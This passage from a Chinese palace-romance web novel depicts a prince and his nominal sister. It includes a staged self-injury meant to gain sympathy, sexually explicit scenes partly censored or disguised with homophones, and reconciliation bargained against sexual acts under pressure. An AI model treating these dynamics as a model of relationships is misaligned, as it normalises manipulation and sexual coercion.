“至于你,以后就不必再来找我了,若无必要,我们也不用再见面。” 他拍了拍她的脸,半开玩笑地道:“你说你又不喜欢我,总招我干什么。还不如不见了,对大家都好。” 颜嘉柔哭着道:“我……我没有不喜欢你!” “你知道我要的不是那种喜欢。” 是被坚定地选择,独一无二,情有独钟的喜欢,不要施舍,不要可怜,更不要什么劳什子的报答。 倘若做不到,情愿没有。 颜嘉柔怔怔地看着他,脑袋一阵阵发蒙,心底像是被挖空了一块。 不用再费心讨好就能得到他的血,她应该感到高兴才是。 可是她为什么,偏偏高兴不起来? 或许是只给她血根本不够,这段时候她明显感到到病程有所进展,就像从一开始只需要汲取萧彻的气息就能得到安抚,可到了后来,却需要他的血。 眼下阈值不断提升,他的血也渐渐不管用了,她往后或许需要从萧彻身上得到更多,偏偏这个时候萧彻却跟她提出要断了,她怎么断? 便就为了这个,她也不想跟萧彻就此形同陌路,为什么他非要那么极端?要么就彻底给他,不给他就不理人。 他还说他没有逼她,他分明就是在逼她…… 女孩委屈地看着他,眸中泛着泪光:“我……我不同意!” “哪有你这样的……你亲了我,摸了我,抱了我,还看了我的身子,现在却说要跟我断了,你这是……你这是始乱终弃!你要对我负责!” 萧彻扬眉,像是听到了什么笑话,无谓地扯了唇角:“行啊。” 他站直身子,居高临下地看着她,伸手搭上她的手腕:“你要我怎么负责?不如跟我一起去见父皇?” 颜嘉柔闻言一惊:“去……去见父皇做什么……” “还能去做什么?你不是想要我对你负责么,我让他给我们赐婚好不好?” 赐婚?这怎么行!她才刚刚答应了萧珏会一直陪着他,父皇一向冷待他,他又刚刚失去了最爱他的母后,如果这个时候她再选择萧彻而弃他而去,萧珏会疯掉的…… 想到这里,她挣扎着想让萧彻松手:“不,萧彻……不行……” 萧彻慢慢松开了她的手腕。 他低头看着自己空落落的掌心,无声地笑了一下。 “你看,颜颜,从始至终,都是你不肯对我负责。” 60-70 第61章 第61章哄他。 “萧彻,我……我不是……” 萧彻却不再跟她多说一句,只留下一句:“你就待在这里,等雨停了再回去,我还有事,先走了。”便转身欲走。 话都还没说清楚,他怎么可以就这么走了? 颜嘉柔心一急,从桌案上轻轻跳了下来,追上去,伸手紧紧拽住萧彻的手掌:“萧闻祈,等等……我还有话跟你说……” 萧彻蹙眉:“话都已经说清楚了,没什么好说的了。”说着便欲抽回自己的手。 只是颜嘉柔死死拽着他的手,说什么也不肯松开,他不得已,只好略使了些劲,终于抽回了手。 颜嘉柔却被这股力道带得往后踉跄了一下。 原不过是踉跄了一下,顷刻便能站稳,可身子在往后倒的一刹那,她忽然想到了映雪教过她的那些话—— 只有让他心疼,他才会对你心软。 于是侧头看了一眼,心一狠,故意往桌角凸起处撞了过去。 这一下力道极大,她腰又极软,软肉重重地磕到坚硬的木质凸起上,可想而知有多疼。 她又一向娇生惯养,娇气得不得了,哪里受过这样的痛楚,当即惨叫一声,痛苦地捂着腰侧蹲了下去。 萧珏听到动静立刻转身察看,只见小姑娘脸色煞白地蹲在桌脚,白皙的额头上密密地渗出冷汗,艰难地抬头迎上他的视线,口中逸出痛苦的s//。口今:“哥哥……teng……” 只这一眼,萧彻便神色大变。 他连忙过去察看她的伤势,脸色比颜嘉柔还难看,从小看着长大的小姑娘,他小时候连抱她时都不敢使力,唯恐弄疼了她。 她有哪里磕着碰着,简直跟刀刺在他心口没什么两样,他紧张得连声线都在发颤:“怎么了,颜颜,碰到哪里了?很疼吗?” “你推我……我好像撞在桌角了……好疼……”她顺势靠在了他的怀里,双手悄悄地环上了他的腰际,抬眼可怜巴巴地看着他,又恰到好处地淌下两滴泪:“哥哥,对不起,我总是那般犹豫……让你伤心了……” 他简直心疼地要命,这个当口,他哪里还有心思与她分辨这个,他居然伤到了颜嘉柔,这个认知,已经快要让他发疯。 他低头亲吻她的额头安抚着她,“没事,没事……都是我的错。别说话了,我带你去上药,乖,忍一忍好不好。” 颜嘉柔依偎在他怀里,乖顺地点了点头:“嗯……” 余光却瞥见地上掉落的一本卷宗,想是方才她撞上桌角时,动静太大,致使桌岸晃动,不小心带了下来。 她随意瞥了一眼,见摊开的那页上画着一名女子的小像,一旁写着她的名字,姜嫣。 萧彻居然在看别的女人的卷宗?他在他的书房里,居然还放着别的女人的东西? 颜嘉柔只觉脑袋嗡嗡作响,大脑一片空白,一瞬间心口酸涩得厉害,心底忽然生了一股邪火,正要发作,却又忽然想起了点什么。 不对,姜嫣,这个名字,她好像有点印象。 她记得她该是和贵妃年龄相仿,这个年纪,已经可以做萧彻的母亲了。 萧彻翻看她的卷宗,该不是她想的那个意思。 而且,她早就已经在几年前过世了。 说起来,姜嫣也是个可怜人,原本是千娇百宠的公府小姐,更是京中颇有盛名的美人,谁知天有不测风云,国公府一朝获罪被抄,她也随之没入奴籍,被发卖到教坊司。 后来不知怎么,居然被魏元帝破格弄进了后宫,给了个低阶位份。 有人说是因着她那张与贵妃有几分相似的脸,所以才会得到魏元帝的垂青。 颜嘉柔对此深信不疑。 因为她幼时曾见过她一面,她那时虽然已经疯疯癫癫了,但那张过分美貌的脸,依旧让她为之驻足。 的确像贵妃,不过是有几分相似,已让她惊为天人。 便是这一次偶然的遇见,让她对她十分好奇,缠着宫中资历深的嬷嬷打探,这才知道了她的过往经历。 至于她为什么如今疯疯癫癫的,原来是因为她之前诞育过一个皇子,只不过生下来没一会儿就夭折了,如果能活下来的话,大约现在也和萧彻一般大了。 皇子死后,她接受不了,就此疯癫了,之后便被魏元帝打入了冷宫。 那天她能见到她,也是她碰巧从冷宫里逃了出来。自那以后,她就再也没有见过她了。 直到今天在萧彻的书房见到她的卷宗。 萧彻翻阅她的卷宗做什么?难不成是思念贵妃,因着姜嫣与贵妃有几分相似,所以心中好奇,藉由她来追忆贵妃? 多半便是如此了。 颜嘉柔也没有多想,反正她只要知道萧彻不喜欢别的女人就好啦,别的她也懒得动脑子,她又不聪明,想那么多干什么? 正要收回视线,却又瞥见卷宗旁还躺着两张水纹纸, 一张上面写了一个人名——贾唯,颜嘉柔不认识他,自然也没什么兴趣。 目光旁移,却见另一张纸上赫然写了一个“珏”字,并用朱砂圈了,打了一个大大的叉,笔锋遒劲有力,力道几乎透纸,可见执笔之人用劲之大,一眼望去,那红叉颇有些触目惊心。 颜嘉柔竟从这张圈圈叉叉的纸上,读出了一种咬牙切齿的味道。 她再笨也知道“珏”字必然指代萧珏,萧彻为什么那么恨萧珏……关于这点,她实在很难不联想到前两天他二人之间的那场冲突。 那般剑拔弩张,格外眼红的气氛……如果不是她拦着,萧彻那副样子,是真的想要杀了萧珏。 他们双方,都恨不得对方死。 但萧珏一向身弱,自然不是萧彻的对手,她理所当然会更担心弱势的一方,所以才会挡在萧珏的身前。 好在萧彻最终还是停下了手。 当日的那一幕,她至今回想起来都心有余悸。 因为一时走神,所以她一开始并没有怎么留意到“珏”字旁边还有两个字体明显小很多的字,因为字小,不能一眼看清,等注意到之后,想要仔细分辨,萧彻却在这时转过了头。 在看到颜嘉柔在看那张纸时,萧彻的表情有一瞬间的不自然,不过很快就掩饰了过去。 他伸手随意地将那张纸翻了过去:“看什么呢,看得懂吗。” 于是颜嘉柔只来得及分辨第二个字依稀是个“马”字。 至于第一个字,笔画有些潦草,她还没来得及分辨,那张纸已然被萧彻翻了过去。 于是她看得稀里糊涂的,倒是的确没看懂。 她抬头看向他,漂亮精致的小脸上写满了茫然,慢慢摇了摇头。 萧彻眉尾几不可察地一扬,一旁攥着的手仿佛一下子松懈了力道,慢慢松了开来:“就知道你看不懂,小傻子。” “好了,既然看不懂,又乱看什么,”他陡地凑近了她,微微笑道:“看我不好吗?” 颜嘉柔一瞬间忘了呼吸,只呆呆地看着他,结结巴巴地道:“……好……” ——她就这样轻易地被美色所惑,晕晕乎乎的,转头就把刚才的所见所闻抛到了脑后。 萧彻有时候真的很有心机,多年后颜嘉柔回忆起这一幕还是忍不住腹诽,其实他也知道这招对她百试百灵吧! 不过当下她自然没这个觉悟。 原本在看到那个被狠狠用朱砂圈叉过的“珏”字时颇为心惊肉跳,想委婉劝说萧彻不要因为她的原因,与亲兄弟反目成仇。 可后来最终也没说出口——她想他二人毕竟是亲兄弟,应当不至于如此。而且萧彻似乎很讨厌她在他面前提起萧珏,说不定他原本都已经忘记这事,她一提起来反倒是火烧浇油,那就不好了。 算了,她想她还是不要惹萧彻不高兴了,吵架后他一直对她好坏,如今难得有点好脸色,她不想破坏两人此刻的氛围。 关于这个插曲的最后印象,是萧彻轻轻抚摸着她的脊背,附在她的耳边,轻声道:“无论何时何地,无论发生什么,你只要记住,我永远都不会伤害你,这就够了。” —— 身子被腾空抱起,颜嘉柔脸颊蹭着他胸前坚实的肌理,鼻尖萦绕着他身上淡淡的沉水香,好闻极了,她好喜欢。 终于又让他心甘情愿地主动抱她了,她居然觉得鼻子有些发酸。 萧彻抱着她急匆匆地去了寝殿。 她偷偷地从他的怀中探出脑袋,抬头看他。 他紧蹙着眉,再没了往日的云淡风轻、漫不在意,面上有着她从未见过的焦色。 原来只是小小地受个伤,就能让他这么紧张啊。 这也太简单了,她觉得她真是聪明极了。 其实萧彻根本没用多大的力道,跟他在一起这段时间,他有时候再难//。奈,亲吻拥抱的力度也会掌控得很好,从来不会伤了她。 包括刚才。 之所以没有丝毫的怀疑,不过是关心则乱。 颜嘉柔的心情莫名变得很好,轻轻晃荡着双腿,腰侧的疼痛居然也减轻了不少。 看萧彻的反应,那般自责,光凭着他对她的这份愧疚,她待会儿便可以跟他好好谈谈条件了。 这么一想,她觉得今日这一撞,也算是值了。 等到了寝殿,萧彻动作轻柔地将她平放在床榻上,动手解开只是上药啊拜托。 虽则她的身子萧彻早就看过了,但衣物当着他的面被他亲手一点点被剥理深体,她还是觉得无比羞耻。 原本一身雪白的皮肉,此时肉眼可见地一点点变的淡粉。 萧彻正在察看她腰侧的伤势,见她腰上一大片青紫痕迹,被雪白的肌肤一衬,愈发显得触目惊心。 他眉头紧蹙,正要开口,却瞥见底下的小兔不知道什么时候,已经偷偷换了一身颜色? 浑身上下,连脚趾尖都泛着淡淡的樱粉色。 萧彻:“……?” 他抬头,眼神中透着几分困惑。 浅茶色的眼瞳中,并不带一丝欲色。 被他这么注视着,她更觉无地自容,只觉脸上更烫了几分,眼尾晕开娇红,声音也染上了轻微的哭腔:“你……你别这样看着我……” 萧彻挑眉,似乎明白过来了点什么,似笑非笑地看着她,然而这会儿究竟没有跟她调//情的心思,只摸了摸她的脑袋,说道:“我去给你拿药。” 萧彻拿着一罐活血化瘀的脂膏回到床边,打开后沾取了一点,动作轻柔地抹匀在颜嘉柔的腰际。 尽管他已经刻意放轻了动作,可颜嘉柔还是不停地喊疼,她每喊一次t,他的心就跟着紧一分。 他只能压着嗓音,一遍遍地安抚着她:“颜颜乖,再忍一忍。” 颜嘉柔侧躺着对向他,萧彻为她上药时微俯下身,她伸手摸上他的脸,眼眸湿漉漉地看着他,半是请求半是撒娇地道:“哥哥,你能不能帮我吹一吹,从前我但凡有磕着碰着,映雪帮我上药时都会吹一吹,吹一吹就不疼了。” 她确实疼,吹一吹的话会好很多,而且她想和萧彻更亲近一点,拉近一下他二人之间的关系,方便她待会儿开口。 而且他不拒绝这次的话,说不定别的要求也不会拒绝。 萧彻动作一顿,抬头看了她一眼:“好,我上完药就帮你吹,先忍一忍好不好?” 等上完药后,萧彻上榻让颜嘉柔翻过身,面对面整个贴在他怀里,他则一手掐着她未受伤的那侧腰际,固定着她的身子,依言俯身,去帮她吹拂她腰上的伤痕。 一开始跟印象中一样,轻柔的吹拂落在她的伤痕上,的确能抚平不少痛楚。 萧彻的药脂很有效,擦完没多久,她就不觉得疼了。 可萧彻还在吹拂她的伤口。 不知道从什么时候开始,当她意识到低头对着她伤口处吹拂的是萧彻,而非是映雪时,这一举动便渐渐变了味道。 她也不知道为什么,只要对象做是萧彻,再寻常的事,她也总会变得异常敏淦。 腰际本来就是她最敏//淦的地方,她背对着萧彻,看不到他正在对她做什么,视觉受限,于是别的感官便被无限放大。 温熱的气息吹拂在伤口处,闰滑的脂膏似乎随着吹拂一点一点地渗入肌肤,他的吹拂与映雪的明显不一样,他的一口气显然更长,节奏更缓,动作也更轻柔。 只是似乎,也更烫。那一小块肌肤越来越热,像是无数细密的羽毛在轻轻撩拨,勾起不为人道的酥嘛痒意,她感受着萧彻轻柔的呼吸,小复处一阵酸玛,渐渐汇桔成一顾熱流留棠下夏…… 颜嘉柔无措地睁大了眼眸,终于忍不住泄露了一声呻婴,葱白的手指插汝他漆黑的发,哭着摇头:“不……不偠了……” “怎么了?” 萧彻直起身,将人扳过来一看,见她满脸不正常的潮红,微微挑眉,似是有些意外,低笑道:“……我可还没碰你。” 她此时几乎只穿了小衣,身上什么变化都遮不住,他目光下移,看到她下s穿着的小依已然泅诗了一块。 萧彻怔了一瞬:“颜颜,你……” 他眉梢微动,当下的第一个 念头居然是,小兔这么……,也不知是不是好事,。这么多,不太会……她,只是这么明杆,以后不会。到一半就晕s过去。 他低笑着附耳过去,热息若有似无地倾吐在她耳廓:“颜颜,你怎么,这么……”最后一个“浪”字虽咬得极轻,但落在颜嘉柔的耳边,依旧让她大脑轰的一声,浑身x液往上涌。 第62章 第62章难哄。 她难以置信似得,羞耻得哭出声:“我……我不是……我没有……” “没有么?”萧彻中指往下探了探,看着指尖沾上的那点湿闰水渍,勾了勾唇:“你真水做的啊。” 他故意凑在她的耳边,刻意放缓了语调,戏谑中又带了三分玩味,分明是极尽戏弄:“没想到颜颜不光上面那么会流眼泪,下面也那么……” “别……别说了!” 颜嘉柔涨红着脸,慌乱地去捂他的嘴,难堪地咬唇,“不是我,我没有……是因为我生病了,所以才……才会这样……对,一定是这样……我以前从来不这样的!” 萧彻顺势舔了一下她的手心,见她分明一副怕痒瑟缩的样子,却又不敢缩回手,唯恐他说出什么让她难堪脸热的话,才摘开了她额手腕,慢慢笑起来,身子懒洋洋地往后靠,随意道:“小兔说什么,就是什么吧。” 颜嘉柔看了他一会儿,也跟着靠在了他的身上,柔软的脸颊枕在他的胸口。 萧彻摸了摸她的脸,一只手向下,轻触她腰际的伤痕:“还疼么?” 颜嘉柔摇了摇头,乖顺地道:“哥哥,已经不疼了……” 她说着抬头看向他,双手交叠着按在他胸前,下巴枕在上面,黑白分明的眼眸转了转,趁机道:“哥哥,我们和好吧,好不好?” “你看你推了我,我也都不计较了,你……你能不能也不和我计较了,就当扯平了,好不好?” 萧彻原本靠在床头闭目养神,闻言掀开眼皮,低头扫向她,轻笑了声:“这算哪门子扯平?” 他拍了拍她的屁股:“好了,乖,起开,我还有事,要先走了。你就在这里躺会儿,等药膏吸收完了,就自己穿上衣服回去吧。” 颜嘉柔一听眼泪立刻在眼眶里打转,她做了那样大的牺牲,不惜上演一出苦肉计,本来想借此要挟萧彻和她和好,结果他还是这么不明不白的态度,她哪里肯依,手脚并用地死死缠抱住他:“我不!除非你答应我,不然我不让你走……你推了我,你不许走,你得赔我……” 萧彻被气笑了:“有你这么死缠烂打的么?既不肯跟萧珏断了,又想跟我好,你当我是什么?你的人血药,还是你闲暇时用来消遣的玩意儿?” “我说了让你给我一点时间……” 又是让他给她一点时间,她翻来覆去地便只会这么一句。 这句话已经骗过他一次,她怎么还敢拿出来骗他第二次? 萧彻最厌恶这句话,当即沉声道:“松开。” 颜嘉柔察觉到了他愈发疏离抗拒的态度,心中委屈更甚。 她并不是厚颜无耻之人,要是放到以前,她才不会这么对他,萧彻也根本没有机会羞辱她,还不是因为她被野狐咬了一口后得了那种怪病,就此离不开他,这狐狸是谁招来的?还不是他!说起来,他难道就没有一点责任吗? 她自问已经放低了姿态,对他近乎纠缠了,可偏偏萧彻还是不肯低头,她心中又是难过又是委屈,倔劲也上来了:“我就不!” 两人拉扯间难免肢体摩擦,萧彻想挣脱她易如反掌,只是她如今受了伤,总是顾忌的,也不敢真用力,这么一来二去,便又滚到了床上。 萧彻将她压在裑下,声线带了一丝恶狠狠的意味,喑哑得厉害:“乱动什么,找死吗。” 颜嘉柔眼尾湿红,双手捧着他的脸,黏黏糊糊地道:“那……那你不许走……除非你答应我……” 萧彻深看她一眼,忽然意味深长地笑了:“好,我不走。” 说着掐在她腰间的那只手便慢慢往上…… 隔着轻薄的衣料,他的大手完全包果珠她的浑源,轻拢慢捻,颜嘉柔的脸更红了,小声地嗫嚅道:“萧……萧彻……” 萧彻“嗯?”了一声,唇边的笑意更深了。 直到颈后的系带被他略显急躁地扯下,她才如梦初醒,伸手护在身前:“不要!” 萧彻挑眉,修长的手指划过她的脸颊,淡道:“你之前不是说,只要不做到最后一步,我想做什么,都可以么?怎么,想食言?” “我……”颜嘉柔眼睫轻颤,到底不再推拒,转而搂上他的脖颈,抬眼有些幽怨地道:“你……只要你高兴,你想做什么都可以,只要不要一言不合,让我滚就好了。” “乖了。”萧彻随手扯开全删 全删音调都变了:“哥哥……” 萧彻应了声,全删 他低笑了声,故意在她耳边喘:“乖,全删” 小姑娘娇泣连连;“不……我不能……” 虽然是意料之中的答案,萧彻还是难免不痛快,泄愤似得咬了一下她的耳垂:“不行你叫这么浪干什么?” “我……我不是故意的……”小姑娘眼圈红红地道。 萧彻没想到她还真答,一不留神,又被她可爱到了。 喜欢一个人就是这样,无论她做什么他都喜欢得不得了——当然除了背着他找别的男人。到底什么时候,她眼里才能只有他一个。 他掐着她的脸,意味不明地哼了声:“我看你就是故意的,只会撩拨人,又不让我碰,故意折磨我是不是?” “我……我没有不让你碰呀。” 颜嘉柔眼神无辜地看着他,像是为了印证自己的话,仰起脑袋蜻蜓点水般碰了一下他的唇,红着脸道:“从来没有……不让你碰呀。” 萧彻眸色瞬间变得幽s,将脸埋在她的颈侧,川西着道:“还敢招我?” 他额间青筋tu起,往前顶装了一下,川西低沉,有种撩人的x感:“它这样很久了,你说怎么办。” 颜嘉柔只是隔着衣物感受了一下,都已经快被吓哭了:“我……我不知道……” “不知道?你知不知道自从那天你在假山里吻了我,到今天这段时间,”他停顿了一下,火勺熱的气息喷吐在她的颈侧,一字一顿道:“我都快忍疯了。” “呜呜呜,我不知道……” “呵,不知道,你什么都不知道。” 他抬手拍了拍她的臀,呼吸微沉:“转过去。” 颜嘉柔虽然不知道萧彻想干什么,但还是乖乖地照做,侧转了身子。 他从身后贴了上来。 感受到身后的动静,惊恐地睁大美眸:“萧彻,真的不行的……我手臂上的朱砂……” “不怕,我不碰你。” “乖,退宾拢。”他一步步教她:“打退跟,加注。” …… 床榻搁置作想,不知过了多久,响起女子娇懒的声音:“萧闻祈,怎么还没好……” “这才过了多久,”萧彻低笑:“哪那么快出来?” 他轻拍了一下她的臀部:“别偷懒。” “呜呜……” 等萧彻从背后牢牢地抱着她,闷。一声后,死死地掐住她的腰,她却丝毫没反应时,才发现她许是等得太久,不知什么时候已经睡着了。 他将人扳了过来,小姑娘红唇微张,脸颊晕红,倒是睡得正香,今天一天又是淋雨,又是摔倒,方才又在床上好一番挣扎,估计把她累坏了。 “在我旁边,还敢睡着,就不怕我对你做什么?” “还真是心大。” 他拍了拍她的脸:“醒醒,小兔。” 颜嘉柔 皱了皱脸,将脸转了过去,不满地嘟囔道:“人家好困……” 萧彻掐过她的脸,固定了她的下巴,迫使她正对着他,无处可逃:“又没不让你睡,听话,先去洗澡,洗完再睡。” 肥嘟嘟的颊肉从他的指缝间溢出,颜嘉柔的脸蛋被他的大手锢着,挣脱不得,她睡意朦胧间,胡乱地伸手扒拉,不小心将他的拇指含了进去,之后又出自本能地饨图顺西。 萧彻挑眉,轻笑了下:“这么大了,怎么还跟小时候一样。 他将拇zhi拔了出来,牵扯出一截晃荡的银丝,上面诗淋淋的淌着她的口//。涎,拇指揉按着她红闰柔阮的唇瓣,指上还有淡淡的齿//。痕,他不知想到什么,眸色骤然变得幽s。 他揉按着她的唇瓣,突然很想让她含着他的东西。 若是她知道他的想法,会不会突然从梦中吓醒? 一想到小兔被吓到,一脸惊慌失措的样子,他心情便莫名愉悦了不少。 —— 他坐在床边看着她,记忆回溯,仿佛又回到了多年前的那个午后,目光也不自觉地柔和了下来。 如今说起风月事,往往将一见钟情视作一段佳作的开端,可惜他和她的初见,他那时不过四五岁的光景,而她还是个手掌大的奶团子,注定了他们不可能一见钟情。 他第一次见到她时,甚至有些嫌弃,因为她当时也像现在这样含着他的手指,把他的手指当做了奶妈,还尿了他一身。 这样的初见,实在算不上愉快。 当时的他,或许怎么也不会想到,多年后那个只会喝奶的糯米团子,会在床上含着他的手指。 不知不觉,她已经长这么大了。 说起来,他们也算是青梅竹马。 她从会牙牙学语时,就会喊他哥哥,一见到他就笑,张开莲藕似得一节节胖乎乎的手臂让他抱,亲他一脸的口水,再大一点了,甚至还会挺身出来保护他。 他一直以为他是她最喜欢的哥哥,直到萧珏的出现。 她和萧珏越走越近,崔皇后将她要了去,养在膝下,她欢欢喜喜地跟她走了。 小萧彻永远不会忘记那一天,像是被全世界抛弃,他一个人躲在柜子里哭了好久好久。 他不知道为什么几乎是他养大的小皇妹忽然一夜之间就把他抛到脑后了。 难道就因为她以为那次落水是萧珏救了她? 现在的她或许早就不记得了,可其实当时他对她说过那日是他救的她,可她不信,那时的萧彻也不过是个半大孩子,而萧珏已近成年。 或许所有人都更愿意相信是萧珏救的她,毕竟从水里捞起一个孩子,恐怕不是另一个孩子能够做到的,却不知当时的小萧彻是拼尽了全部的力气,差一点,只差一点,他就要和小嘉柔一起葬身池底了。 旁人信他与否,他从来不在乎,可她竟然不信他。 她既然不信,那他以后也就不会再说。 自此他和她越发疏远。 她不知道那么多个日日夜夜,他是怎么过来的,眼睁睁地看着她和萧珏日渐亲密,可他什么都做不了。 他看不惯她对着萧珏那般笑,也看不惯她对自己一日比一日漠视,他怨她恨她,可却又忍不住想她。 也只有每次惹她生气的时候,她才会多看他一眼。 燕骁一直说他太过骄傲,不肯拉下脸面,可他不知道他刻在骨子里的自卑。 或许没有人会真正喜欢他,小嘉柔长大后懂事了,自然移情有着太子之尊的萧珏,又怎么会喜欢他这个血统不纯、被视作不祥的三皇子。 拉下脸面又怎么样,不过是连最后可笑的自尊都被彻底踩在脚下。 成不了她最喜欢的人,于是博取她唯一关注的方法,只能是成为她最讨厌的人,他为此还做了不少蠢事。 当然很多时候也是真情流露,看着她在他面前和萧珏举止亲密,他自然心中不快,不免语出讥讽,也因此,他与她关系日益紧张,后来更是到了势同水火的地步。 他为了夺取她的注意所做的那些蠢事,现在回想起来,多少有些可笑。 —— 他拍了拍她的屁股,又问了她一遍:“起不起?” 回应他的只有她略带不满的哼唧声。 萧彻笑了一声,认命般地将她从床榻上抱了下来。 他一揽过她的腰身,她便顺势贴了上去,在睡梦中也能自发地搂上他的脖子,倒是乖觉。 这么习惯被人伺候,不错,是享福的命。 不过这也没什么,他宠出来的小姑娘,最后自然由他来收场。 将她抱在怀里随意地掂了掂,他抱她很轻松。 小兔其实算不得胖,除了脸上未曾褪去的婴儿肥和身前的波涛汹涌,其他地方都没什么肉,尤其是纤细的腰肢,不堪一握。 两条笔直雪白的小腿乖顺地自他的臂弯垂落下来,纤细莹润。 这么小一团,能重到哪里去,别说是一个小兔了,三个小兔他都能轻松抱起。 抱着她将要转身之际,余光瞥见床褥上一大片暧没湿痕,略一挑眉。 哦?流了这么多。 他的皇妹,还真是是水做的。 —— 浴池内,热气缭绕,袅袅升腾。 萧彻靠着池壁,闭目养神。 颜嘉柔被热气熏蒸得面颊泛红,她红唇微张,微微蹙起眉尖。 不断攀升的热意催逼得她从迷乱的梦境中醒来,缓缓睁开了眼睛。 映入眼帘的是一片白茫茫的雾气,她只觉脑袋晕晕乎乎的,低头用力晃了晃,这才惊觉她身上居然寸缕未挂,整个身子都浸泡在温//热的池水里,后背则靠在一具男人的身//。体上,手臂虚虚拦着她的肩,烫得灼人。 “啊!”她下意识地失声尖叫。 “小点声儿。”一旁传来男人懒洋洋的声音:“皇妹以为,跟自己名义上的哥哥同池而浴,是什么很光彩的事么。” 颜嘉柔一怔,连忙转头看去,见白茫茫的雾气散去后,现出一张俊美而熟悉的脸,不是萧彻又是哪个,当下松了一口气。 她咬上唇瓣,涨红着脸道:“萧闻祈,你怎么不告诉我一声就把我剥……剥光了,扔进池子里……吓死我了……” “怎么没告诉你了,”萧彻掀起眼皮,转头看了她一眼,“我说了跟我一块去沐浴,起码三遍。” “某人睡得那么沉,怎么,不属兔改属猪了?” 他这么一说,颜嘉柔才隐约想起来几分,似乎他确实叫过她,不免有些讪讪:“那人家太困了嘛……”她顿了顿,红着脸,似乎有些难以启齿:“还不是……还不是你弄得太久了……” 萧彻却没再说什么,闭目重新靠了回去。 颜嘉柔察觉到萧彻对她的态度似乎依旧是不冷不热的,她不明白为什么他看上去还是不那么高兴,明明那么无理的要求,她都纵容着答应他了,他还不满意么。 他们不是和好了吗? 他都那样对她了……在她的认知里,就表示他已经答应跟她和好了。 既然和好了,为什么还是这样的态度? 难道是因为她所付出的代价并没有完全满足他的要求,所以不情不愿,心里不太痛快? 这么说来,倒的确是她占了便宜。毕竟她没有让他……嗯……做到最后一步,他却还是不得不和她和好。 既是她占了便宜,那她再哄哄他吧!她可不是那么小气的人。 “哥哥,”她嗓音甜腻地叫了他一声,颇为讨好地主动挽上他的胳膊,整个人又腻了上去:“你在想什么呀?” 想在水里上你。 萧彻在心里如是回答。 方才借她的腿出来了一次,非但没有缓解,反而更想上她了。 喉结滑动,嗓音低哑,萧彻说出口的话却是:“离我远点。” 嘉柔瞳孔微微震颤,眼睫亦颤动了一下,纤长卷翘的睫毛上凝着的水珠轻轻滑落,仿佛哭泣。 她有些无措地收回了自己的手,像是不知道自己做错了什么事的小孩,有种近乎天真的残忍:“萧彻……” 为了缓和两人之间的关系,她还是努力地扬起唇角,半开玩笑地道:“我们现在,是在洗鸳鸯浴吗?” 萧彻撩开眼皮,转头睨了她一眼。 像是听到了什么笑话,轻扯了一下唇角:“皇妹”, 他凉凉地道:“鸳鸯是忠贞之鸟,一生一世一双人才可作比,我们这样,怕是不合适吧?” 说到“我们”二字时,刻意咬重了音。 饶是颜嘉柔再笨,此时也听出来萧彻是在故意讥讽,他还是因为她没有坚定地选择他而放弃 萧珏感到耿耿于怀,可是,有些事连她自己都没有想清,她怎么给他答案呢,就不能多给她一点时间么。 一时两人无话。 热意蒸腾,没过一会,颜嘉柔又开始昏昏欲睡,她磨蹭着枕靠在萧彻的肩上,也不管他愿不愿意,自顾自地睡着了。 第63章 第63章哄好。 再睁开眼时,映入眼帘的是悬挂在头顶的承尘。 唔,她又回到了床上。 被褥干净舒爽,身上也是,该是萧彻帮她擦干水渍抱回床上了,被褥也已经换过了,她舒服地裹着被子翻滚了一圈,鼻尖萦绕着淡淡的沉水香,侧头一看,萧彻果然还在。 他正合衣靠坐在床上,手中执着随手从书房拿的一本《三略》,慢慢翻看。 听到动静转头看了她一眼:“醒了?” 他淡道:“床头放了另一套干净的衣裙,尺寸该是合身的,你待会儿自己换上,我先走了。” 说完正要下床,不防被人忽然从身后拽住了手。 颜嘉柔两只小手堪堪只能合握住他宽大的手掌:“等等……我还有话要问你。” 萧彻挑眉:“什么?” 小姑娘蹙着眉,有些急切又有些不太确定地问:“萧闻祈,我们是和好了吧?” 在她的认知里,她和萧彻是已经和好了的,可萧彻一直是这样冷淡的态度,实在让她没底,眼见着他又要这样不清不楚地走了,她实在按捺不住,想要在他走之前问出个确定答案。 萧彻却蹙了眉,神情有几分意外:“和好?” 等回过神来,不由得微哂。 “你让我c了么,还是答应跟萧珏断了?” “都没有,那你凭什么以为,这事已经翻篇了?” 颜嘉柔不可置信地瞪大了眼睛,眼圈几乎瞬间红了,哭着控诉道:“你……你骗人!” “谁骗你了,我之前说的,已经够清楚了。” 萧彻轻嗤:“小傻子。” “你……你都那样对我了,我说了,只要你肯翻篇,那除了……除了做到最后一步,你想对我做什么,都可以。但前提是你要跟我和好如初,如果不是默认了你答应我这个条件,我才不会让你那样对我!” 萧彻眉梢微动。 哦?原来是这样。 怪不得之前那么乖,原来是打的这个主意。 这倒是笔不亏的买卖,没让他实打实地上一回,却想他答应她的要求。 小兔还挺会算账的。 光让他闻着味了,却不给他块肉吃。 却又不讲道理地让他当做什么事都没发生过,默许她和萧珏的纠缠不清。那他又算什么? 怎么,这天底下的便宜,难道尽让她一个人占了么。 他低眸漫不经心地转动手上的玉扳指,只道:“是我误会了。我不知道皇妹那般乖顺,原来是另有目的。” “那我已经那样对你了,你想怎么样。”萧彻动作一顿,抬眸朝她突地一笑,语气有一种疯狂蛰伏下的诡异平静:“杀了我吗?” 颜嘉柔怔怔然地看着他,半晌才反应过来:“你!你无赖!你无耻!” “几次三番地骗我,利用我,一边说喜欢我,转头又与别的男人纠缠不休,” “若说无赖与无耻,”萧彻慢慢冷笑起来:“谁又比得上皇妹你。” “你!”颜嘉柔被气哭了:“我才不是你说的那样!” 萧彻蹙眉看着她,想要抽回手,却到底没有硬拽,只冷冷道:“放手。” “我不放!”颜嘉柔这么说着,一边慢慢地坐直身子,原本裹在身上的薄被此时便随着动作缓缓滑落,白腻的月同体渐渐显现在眼前。 萧彻只看了一眼,便觉喉咙发紧,匆匆移开了视线。 “你看我,你为什么不敢看我?”颜嘉柔泪眼盈盈地看着他:“你心虚了是不是?你看我身上,到处都是……腰上也……也是被你推的,一大片青紫,这可都是你的手笔,你别不认账!” “你欺负我,你……你得赔我,你答应了我,我就不和你计较,不然你就是欺负我!” 她边说边忍不住掉眼泪,声音也染上了哭腔:“你……你不能这么对我……” “我……我原本以为我们已经和好了……”她慢慢挨了上去,见他一时有些走神,不知在想些什么,并没有冷硬地推拒她,便悄悄地环上了他的腰身,软声道:“我花了这么多心思与时间讨好你……你……你不能这么戏弄我……” 她瞧着软,但性子上来了便是死倔,她今天费了这么多心思与精力,若是达不成她的目的,她是怎么都不肯罢休的! 